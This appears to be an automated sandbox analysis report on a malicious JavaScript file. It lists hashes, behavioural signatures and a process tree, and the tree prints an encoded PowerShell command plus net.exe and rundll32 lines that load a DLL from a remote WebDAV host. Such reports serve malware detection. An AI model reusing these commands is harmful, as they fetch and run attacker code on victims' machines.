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Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    17/10/2024, 18:59

General

  • Target

    393114579175167727.js

  • Size

    94KB

  • MD5

    57e8200e9cfde4618e5b11793719e718

  • SHA1

    c5f642755ea7e1933c032330a20fff5552dd64e4

  • SHA256

    404341b290e56b21c74d5768a98580813f5e81a5ef2e97e1af7aec6cb2a719b0

  • SHA512

    b275d876a954c5d22e8a3bbf918ee85b1de7bac387377ad41dc00c67de0b35962750a0188a78badef943bd8a415fd1a13e9b888222d535e81425c4c825c89e04

  • SSDEEP

    1536:mmM7EDQxL7TpGPH03S1wXMWLYJNNM/Us5MWvl+MPMdRX2MJ:mmM7NGPU3jMDMRMWvl+M0d12MJ

Malware Config

Signatures

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\393114579175167727.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2640
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA3ADUAMQA4ADgAMQA1ADkANAA3ADQANQAuAGQAbABsACwARQBuAHQAcgB5AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2752
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\
        3⤵
          PID:2584
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\1751881594745.dll Entry
          3⤵
            PID:760

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2752-4-0x000007FEF5F0E000-0x000007FEF5F0F000-memory.dmp

        Filesize

        4KB

      • memory/2752-5-0x000000001B520000-0x000000001B802000-memory.dmp

        Filesize

        2.9MB

      • memory/2752-7-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

        Filesize

        9.6MB

      • memory/2752-6-0x0000000002420000-0x0000000002428000-memory.dmp

        Filesize

        32KB

      • memory/2752-8-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

        Filesize

        9.6MB

      • memory/2752-9-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

        Filesize

        9.6MB

      • memory/2752-10-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

        Filesize

        9.6MB

      • memory/2752-11-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

        Filesize

        9.6MB